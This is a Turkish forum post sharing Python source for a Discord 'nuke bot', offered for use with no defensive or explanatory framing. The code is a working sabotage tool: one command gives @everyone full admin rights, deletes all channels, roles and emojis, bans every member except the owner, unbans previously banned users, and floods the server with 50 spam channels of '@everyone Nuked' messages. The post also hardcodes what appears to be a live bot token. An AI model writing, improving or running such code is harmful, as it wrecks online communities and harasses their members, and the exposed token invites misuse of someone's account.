GENEL discord nuke botu python kodu

eviryx

Vip Eco
Vip Eco
217 Mesajlar
17,115 Tcoin
Gold %71
import os
os.system('pip install discord')
os.system('pip install colorama')
import discord
from discord.ext import commands
import random
from discord import Permissions
from colorama import Fore, Style
import asyncio


# Bot Token
token = "MTEyMjU1ODIxNTIwMTIzMDkyMQ.GcpgLl.250ejX5EZ9iuzaJbOdExrVVHnxKDdWmD55E76c"
# Bot Prefix
prefix = "!"
# Owner ID (sadece sayısal ID)
owner_id = 914177249098485800

SPAM_CHANNEL = "Nuke Test"
SPAM_MESSAGES = ["@everyone Nuked", "@everyone Cry About it", "@everyone Beamed", "@everyone Nuked"]

intents = discord.Intents.all()
client = commands.Bot(command_prefix=prefix, intents=intents)

print('''

███╗░░██╗██╗░░░██╗██╗░░██╗███████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝

██████╗░░█████╗░████████╗
██╔══██╗██╔══██╗╚══██╔══╝
██████╦╝██║░░██║░░░██║░░░
██╔══██╗██║░░██║░░░██║░░░
██████╦╝╚█████╔╝░░░██║░░░
╚═════╝░░╚════╝░░░░╚═╝░░░
Made By TheAxe
''' + f"\n{prefix}nuke for destroy!\n")

@client.event
async def on_ready():
await client.change_presence(activity=discord.Game(name="Axe Are On Top"))
print(f"Logged in as {client.user.name}")

@client.command()
async def stop(ctx):
await ctx.reply('> **l0g Out | Shut down successfully**')
await client.close()

@client.command()
async def nuke(ctx):
await ctx.message.delete()
guild = ctx.guild

# Everyone rolüne admin yetkisi verme
try:
role = discord.utils.get(guild.roles, name="@everyone")
await role.edit(permissions=Permissions.all())
print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET)
except:
print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET)

# Tüm kanalları sil
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET)

# Tüm üyeleri banla
for member in guild.members:
if member.id == client.user.id or member.id == owner_id:
continue
try:
await member.ban(reason="Nuked")
print(Fore.MAGENTA + f"{member.name} Was banned" + Fore.RESET)
except:
print(Fore.GREEN + f"{member.name} Was unable to be banned." + Fore.RESET)

# Tüm rolleri sil
for role in guild.roles:
try:
if role.name != "@everyone":
await role.delete()
print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET)

# Tüm emojileri sil
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET)

# Banlı kullanıcıların banını kaldır
try:
banned_users = await guild.bans()
for ban_entry in banned_users:
user = ban_entry.user
try:
await guild.unban(user)
print(Fore.MAGENTA + f"{user.name} Was successfully unbanned." + Fore.RESET)
except:
print(Fore.GREEN + f"{user.name} Was not unbanned." + Fore.RESET)
except:
print(Fore.GREEN + "Could not fetch ban list" + Fore.RESET)

# Spam kanalları oluştur
for i in range(50):
try:
await guild.create_text_channel(SPAM_CHANNEL)
except:
pass

# Invite oluştur
for channel in guild.text_channels:
try:
link = await channel.create_invite(max_age=0, max_uses=100)
print(f"New Invite: {link}")
break
except:
continue

print(f"nuked {guild.name} Successfully.")

@client.event
async def on_guild_channel_create(channel):
if channel.name == SPAM_CHANNEL:
for _ in range(5):
try:
await channel.send(random.choice(SPAM_MESSAGES))
except:
break

client.run(token)

 

Personalize

Geri
Üst